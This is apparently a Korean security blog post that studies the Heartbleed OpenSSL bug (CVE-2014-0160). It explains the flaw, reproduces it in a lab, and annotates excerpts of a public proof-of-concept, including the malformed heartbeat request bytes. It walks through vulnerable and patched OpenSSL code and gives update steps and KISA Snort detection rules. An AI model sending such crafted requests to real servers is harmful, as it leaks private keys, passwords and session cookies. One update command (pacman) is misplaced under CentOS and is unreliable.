[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석 


※하트블리드(HeartBleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그이다. 발표에 

따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인키, 세션 쿠키 및 암호를 훔칠 수 있

다고 하였다.

OpenSSL은 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 구현판이다. C언어로 작성되어 있는 

중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어있다. 거의 모든 버전의 유닉스 계열 운영

체제 및 OpenVMS, 윈도우에서 사용할 수 있다.

하트블리드(HeartBleed)가 발생하는 부분은 전송 계층 보안(TLS) 및 데이터그램 전송 계층 보안(DLTS) 프로토콜의 하트비트에

서 발생한다.

하트비트는 2012년 2월 출판된 RFC 6520이 지정하여 제안된 표준이다. 이 하트비트의 기능은 매번 연결을 재협상하지

않아도 안전한 통신 연결을 테스트하고 유지시키는 방법을 제공한다. (좀 편하게 쓸려했더니 취약점이..)

간단히 말해 하트비트는 서버와 클라이언트 사이에 문제가 없는지, 안정적인 연결을 유지하기 위한 목적으로 일정 신호를 주

고 받을 때 사용하는 확장 규격이다.

하트비트는 2011년 뒤스부르크-에센 대학교의 박사과정을 밟던 학생인 로빈 세글먼이 OpenSSL의 하트비트 확장을 구현하였다.

세글먼 OpenSSL에 자신이 만든 결과물인 하트비트를 넣어달라는 요청을 보냈고, OpenSSL의 소속의 핵심 개발자중 한명인

스티븐 N.헨슨이 하트비트를 검토하기에 이르렀다. 헨슨은 세글먼의 구현체 안에 있던 버그를 알아채지 못했고, 

취약한 코드가 OpenSSL의 소스 코드 저장소에 2011년 12월 31일에 들어가게 되었다. 이 취약점이 있는 코드는 

2012년 3월 14일 OpenSSL 버전 1.0.1 출시와 더불어 널리 이용되었다. 하트비트 지원은 기본적으로 활성화되어 있고, 

이에 따라 영향을 받는 버전들은 기본적으로 취약성에 노출되었다.


하트블리드의 영향을 받는 OpenSSL의 버전은 다음과 같다.

· OpenSSL 1.0.1 ~1.0.1f(inclusive)

· Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
· Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
· CentOS 6.5, OpenSSL 1.0.1e-15
· Fedora 18, OpenSSL 1.0.1e-4
· OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
· FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
· NetBSD 5.0.2 (OpenSSL 1.0.1e)
· OpenSUSE 12.2 (OpenSSL 1.0.1c)

※ CVE-2014-0160용 운영체제 패치가 설치되지 않은 경우, 라이브러리 버전은 변경되지 않는다. 우분투, 리눅스 민트와 같은

파생 계열을 아우르는 데비안, 또는 오븐수세나 FreeBSD, 레드햇 엔터프라이스 리눅스(CentOS, 아마존 리눅스등의 파생 계열

포함)가 이에 해당된다.

참고 : https://ko.wikipedia.org/wiki/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C




원리


[ 정상적인 요청과 반환 값 ]



[ [Payload 길이 조작하여 정보유출 ]


하트블리드의 취약점의 원리는 위와 같이 나타낼 수 있다. 비유를 하자면 정상적인 경우에 

Client가 사과박스에 사과 하나를 넣고 하나를 넣었다는 정보와 함께 보내면 서버는 받아서 사과 한개를 받았다고 Client에게 

응답합니다. 하지만 HeartBleed의 경우에는 Client가 사과 박스에 사과 하나를 넣고 열개를 넣었다는 정보와 함께 보내면 

Server는 받아서 사과 1개를 확인하고, 나머지 9개를 자신이 가지고 있는 사과를 합하여 Client에게 보내게 됩니다.

나머지 9개의 사과에서 정보가 유출이 된다.

HeartBleed의 취약점은 한번에 최대 64KB의 정보를 요청할 수 있다. 실제로 64KB는 매우 작은 크기기 때문에 한번에 원하는 

정보를 얻기는 힘들다. 따라서 여러번, 지속적으로 시도하여 여러개의 정보를 획득하고 조합하면 의미있는 정보를 얻게 될 수 

있다. 이러한 과정을 통하여 공격자는 피해자의 컴퓨터에 저장되어 있는 정보들을 유출시킬 수 있다. 

이 정보들에는 세션값, ID, PW, 쿠키등이 포함될 수 있다. 특히 개인키의 경우 암호화하여 전달되는 모든 데이터를 

열 수 있기때문에 매우 심각할 수 있다.

참고 : http://blog.alyac.co.kr/76




실습

실습 환경은 다음과 같다.

OS : CentOS 6.5 minimal

Web Server : apache/2.2.15(Unix)

openSSL : OpenSSL 1.0.1e-fips 11 Feb 2013

XE : XE Core 1.7.3.4

공격자 : 윈도우


하트블리드 실습을 위해서 많은 OS를 깔았다 지웠다 했다 우분투 12.04.5, 우분투 12.04.3, 우분투 14.04등을 설치 하였는데, 

OpenSSL version을 확인하였을 때, 분명 취약한 버전이었는데도 하트블리드의 취약점이 나오지 않았다. 

마지막 시도로 CentOS 6.5에 설치되어있는 OpenSSL을 사용했더니 잘 되었다.

VMware를 사용하여 CentOS올리는 방법과 Apache, XE 설치하는 방법은 따로 기술하지 않겠다.

다만 VMware를 통해 CentOS를 올리고 나서 yum update등을 하지않고 그대로 apache를 설치하였고, XE는 Zip파일로

다운받아서 설치하였다.

OpenSSL 적용방법은 아래 블로그를 참고하였다.

http://egloos.zum.com/guswl47/v/6514311

위 블로그에서 6번에 hello.co.kr는 적용 안했는데도 잘 동작하였다.

OpenSSL 적용과 XE를 잘올렸다면 위와같이 나올 것이다.

Https입력했는데 안전하지 않음이 떠도 실습해볼 수 있다. 오른쪽에 세션값인 pig4~가 있는것을 확인 할 수 있다.



heartbleed POC코드나 익스플로잇코드를 실행시키면 위와 같이 내용이 나오는 것을 확인할 수 있으며, 

PHPSESSID값도 나오고 일치하는 것까지 확인할 수 있다. 

※ 바로 안나올 수 있다. 몇번 더 실행시키면 나올 것이다.

간단하게 Heartbleed이 되는 것을 실습해보았다.






공격 소스 분석

아래는 하트블리드 POC 소스코드중 일부이다.

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')



16 : Handshake 
03 02 : TLS version 1.1
00 dc : Length 
첫 줄의 메시지는 SSL Handshake를 가르키면, 프로토콜버전과 길이를 정한다.

01  : HandShake
00 00 d8 : TLS version 1.1
03 02 : Length
이어서 어떤 타입의 HandShake인지 정의하고, 길이와 버전을 알려준다.

53 43 5b 90 : Timestamp
9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de : Random Bytes
유닉스 타임스탬프와 무작위로 생성된 28바이트 길이의 값이 들어가있다.

00 : Length of session id
세션 식별자의 길이에 대한 정보가 담겨있는 필드이다. 보통 브라우저가 최근 서버에 방문해 이전 세션을 이어가기 위해 Abbreviated Handshake를 할 때 사용한다고 한다.

00 66 : Length of cipher suites
c0 14 c0 0a c0 22 ~~~ 00 06 00 03 00 ff : Cipher suites
다음 클라이언트에서 지원하는 암호방식의 리스트 메시지에 대한 길이와 해당 메시지가 작성되어 있다. 각각의 암호 방식은 2바이트로 작성되어있다. 가장 앞에 등장한 c0 14는 암호방식 중 TLS_CE_DHE_RSA_WITH_AES_256_CBC_SHA를 의미한다.

01 : Length of compression methods
00 : Compression method NULL( ie no compression)
뒤에 나오는 필드는 압축에 관련되어있는 필드이다. 마찬가지로 압축 방법에 대한 필드의 길이와 압축 방법에 대한 정보에 대해 정의되어 있다. 여긴 00으로 압축 하지않는다.

00 49 : Length of TLS extensions
추가 확장에 관련된 정의. 다른 필드와 같이 길이에 대한 정의로 시작.

00 0b 00 04 03 00 01 02 : Eliptic curve point formats extension
00 0a 00 34 00 32 00 ..... 00 10 00 11 : Elliptic curve
그 중 첫 두가지의 확장 Elliptic-curve cipher에 관련하여 정의했다.

00 23 00 00 : TLS session ticket 
그 다음 TLS 세션 티켓 확장 모듈을 지원한다는 것을 알려준다.

00 0f 00 01 01 : Heartbeat extension 
TLS하트비트 확장을 지원한다는 것을 정의

여기까지가 Client Hello 메시지에 대한 내용이다. 서버에게서 Hello done 응답 메시지를 받으면 하트비트 요청 메시지를 작성하게 된다.


hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')


18 : TLS record is a heartbeat
03 02 : TLS version 1.1
첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알려준다.


00 03 : Length
01 : Heartbeat request
다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시한다.

40 00 : Payload length(16384bytes) // 16진수로 4000은 16384이다.
이 부분이 공격의 핵심이다. payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않는다.

기존에 설명했듯이 이 값에 의해 해당 바이트 만큼의 서버 메모리에 있는 정보를 응답으로 되돌려 받는다.

마지막으로 이 파이썬 코드에서는 되돌려받은 메시지를 헥사 덤프로 화면에 출력을 해주게 된다.

참고 : http://blog.yoko.so/entry/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4




OpenSSL 취약지점 분석 

POC 코드에서는 Payload의 길이를 조작하여 공격하는 것을 알 수 있었다. 그렇다면 openssl의 소스코드에서 어떻게 동작해서 

취약한지 확인해보자.

openssl-1.0.1e.zip

ssl > d1_both.c 

dtls1_process_heartbeat(SSL *s)
	{
	unsigned char *p = &s->s3->rrec.data[0], *pl;
	unsigned short hbtype;
	unsigned int payload;
	unsigned int padding = 16; /* Use minimum padding */

	/* Read type and payload length first */
	hbtype = *p++;
	n2s(p, payload);
	pl = p;

* p = $s -> s3 -> rrec.data[0]
서버가 클라이언트에서 하트비트 요청을 받으면 위의 rrec.data라는 버퍼에 요청 메시지가 저장된다.
이 메시지 형식은 type필드 (1바이트) payload_length필드(2바이트), payload필드(payload_length바이트), padding필드(16바이트)로 정의된다. 응답 메시지도 똑같다.

hbtype = *p++;
이어서 요청 메시지의 type필드를 hbtype 변수에 저장

n2s(p,payload);
payload_length 필드를 payload 변수에 저장

pl = p;
payload 필드의 시작 주소를 pl 포인터에 저장



	if (hbtype == TLS1_HB_REQUEST)
		{
		unsigned char *buffer, *bp;
		int r;

		/* Allocate memory for the response, size is 1 byte
		 * message type, plus 2 bytes payload length, plus
		 * payload, plus padding
		 */
		buffer = OPENSSL_malloc(1 + 2 + payload + padding);
		bp = buffer;
		*bp++ = TLS1_HB_RESPONSE;
		s2n(payload, bp);
		memcpy(bp, pl, payload);

buffer = OPENSSL_malloc(1+2+payload+padding);
1(type필드의 길이) + 2 (payload_length필드의 길이) + payload(요청 메시지 payload_length필드의 값) + padding(16바이트)
를 buffer로 확보한다.

bp = buffer;
할당 받은 메모리의 처음 어드레스를 bp 포인터로 설정 

*bp++ = TLS_HB_RESPONSE;
type 필드로 TLS1_HB_RESPONSE를 저장

s2n(payload,bp);
payload_length 필드로 payload 변수의 값( 요청 메시지 payload_length 필드의 값)을 삽입

memcpy(bp,pl,payload);
memcpy함수에서 pl포인터 (요청 메시지의 payload 필드)에서 payload변수의 값(요청 메시지 payload_length필드의 값)만큼 복사. 나머지는 패딩으로 16바이트 추가하고 응답 메시지를 회신


여전히 소스코드가 어려워 보이지만, 큰 문제는 없어보입니다만. 위의 POC코드와 취약점대로 payload 필드가 짧음에도 불구하고 payload_length필드에 큰 값을 넣는다고 가정해봅시다. 예를 들어 요청 메시지 payload_length필드가 1000바이트, payload필드가 hi(2바이트)이라고 가정하에 위의 소스코드대로 처리해보자.


dtls1_process_heartbeat(SSL *s)
	{
	unsigned char *p = &s->s3->rrec.data[0], *pl;
	unsigned short hbtype;
	unsigned int payload;
	unsigned int padding = 16; /* Use minimum padding */

	/* Read type and payload length first */
	hbtype = *p++;
	n2s(p, payload);
	pl = p;
payload 변수의 값은 1000바이트 pl 포인터에 "hi"의 시작 주소를 가르킴. 

	if (hbtype == TLS1_HB_REQUEST)
		{
		unsigned char *buffer, *bp;
		int r;

		/* Allocate memory for the response, size is 1 byte
		 * message type, plus 2 bytes payload length, plus
		 * payload, plus padding
		 */
		buffer = OPENSSL_malloc(1 + 2 + payload + padding);
		bp = buffer;
		*bp++ = TLS1_HB_RESPONSE;
		s2n(payload, bp);
		memcpy(bp, pl, payload);

다음은 응답 데이터를 위한 메모리로 buffer에  1+ 2 + 1000 + 16이 확보된다.

bp = buffer;
할당받은 buffer의 처음 어드레스를 bp 포인터로 지정

s2n(payload,bp);
응답 메시지의 payload_length 필드에 1000이 포함

memcpy(bp,pl,payload);
memcpy()함수를 이용해 pl 포인터에서 1000바이트를 payload필드에 복사하고 pl 포인터가 가르키는 메모리는 "hi" 2바이트로 pl 포인터가 가르키는 2바이트를 제외한 998바이트가 통신과 관계없는 메모리의 정보가 포함된다.


※ 하트블리드의 취약점으로 정보가 유출되는 크기는 64KB라고 하였다. 여기서 그 이유를 알 수 있는데, payload_length필드는 2바이트이다. 2바이트는 최대 65535바이트를 지정할 수 있기때문에 최대 64KB까지 정보가 유출이 되는 것이다.
(2^16)

참고 : http://manseok.blogspot.kr/2014/04/openssl-heartbleed.html




취약버전 확인

그럴리는 없겠지만 자기자신의 Openssl이 취약한지 알아보는 방법이다.

# OpenSSL version

OpenSSL version을 확인하여 취약한 버전인지 확인.


# openssl s_client -connect IP:443 -tlsextdebug -debug -state | grep -i heartbeat

위의 명령어를 통하여 Heartbeat가 활성화 되어있는지 확인
Heartbeat가 활성화되어 있다면 heartbeat 문자열이 보임.
활성화되어 있지않다면 보이지않음.


소스코드 확인


/* ssl/d1_both.c */ dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;


위와 같이 따로 사용자 요청 메시지에 대한 길이를 검사하는 코드가 없을 경우




취약점 보안 방법 및 보안 패치 코드

openssl-1.0.2l.zip


/* ssl/d1_both.c */
int dtls1_process_heartbeat(SSL *s)
{
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16;  /* Use minimum padding */

    if (s->msg_callback)
        s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                        &s->s3->rrec.data[0], s->s3->rrec.length,
                        s, s->msg_callback_arg);

    /* Read type and payload length first */
    if (1 + 2 + 16 > s->s3->rrec.length)
        return 0;               /* silently discard */
    if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
        return 0;               /* silently discard per RFC 6520 sec. 4 */

    hbtype = *p++;
    n2s(p, payload);
    if (1 + 2 + payload + 16 > s->s3->rrec.length)
        return 0;               /* silently discard per RFC 6520 sec. 4 */
    pl = p;

취약점이 패치된 소스코드를 보면 길이에 대한 검증값이 추가 된 것을 알 수 있다.


최신버전으로 업데이트

-(CentOS/Fedora)전체 시스템 업데이트
    yum update

·OpenSSL 업데이트
    sudo pacman -Syu

- (Ubuntu) 전체 시스템 업데이트
    sudo apt-get update
    sudo apt-get dist-upgrade

    ·OpenSSL 업데이트
        sudo apt-get install --only-upgrade openssl
        sudo apt-get install --only-upgrade libssl1.0.0


여러 사정때문에 업데이트가 어려운 경우, HeartBeat 옵션을 사용하지 않도록 컴파일 옵션을 설정해 재컴파일 가능
    OpenSSL 소스코드를 처음 다운받아 컴파일하는 경우 라이브러리 의존성문제가 발생해 추가적인 작업이 발생할 수 있음.
    ./config -DOPENSSL_NO_HEARTBEATS
    make depend
    make
    make install

서버측 SSL 비밀키가 유출되었을 가능성이 있기때문에 인증서를 재발급 받는 것을 추천

취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용하지 않도록 방지하는 것도 고려


참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf




네트워크 패킷 및 Snort 탐지 Rule 

공격 소스에 있던 hello 변수의 값이 보내진 것을 확인할 수 있다.

16 03 ~~~~ 



그리고 하트비트가 활성화된것을 확인했다면 길이값을 변조하여 패킷을 보낸다.

18 03 ~~ 




그리고 서버는 그 길이만큼 값을 클라이언트에게 노출이 되는 것을 확인할 수 있다.




Snort로 HeartBleed발생시 로그 남기기


KISA에서는 HeartBleed 취약점 탐지 Snort Rule을 아래와 같이 공지하고 있다.

alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

Snort Rule을 보면 와이어샤크로 패킷을 보낼때의 값을 체크하여 alert하는 것을 확인할 수 있다.  

위의 취약한 서버에서 Snort를 깔아서 Alert이 남는거까지 해보도록 한다.

※ Snort 설치 참고 : http://vmos.tistory.com/5

설치는 위의 블로그를 통하여 설치를 진행하며 

snort에서 지원하는 룰셋을 다운받아 적용을 해도되나, KISA에서 권고한 룰만 가지고 알람이 오게 해보겠다.

local.rules에 위와같이 룰을 넣는다.


snort 실행


Heartbleed 공격시도 



snort 종료


/var/log/snort/alert 경로에

메시지를 포함하여 로그가 남은 것을 확인 할 수 있다.


참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf



[KISA]_OpenSSL_취약점(HeartBleed)_대응_방안_권고.pdf


+ Recent posts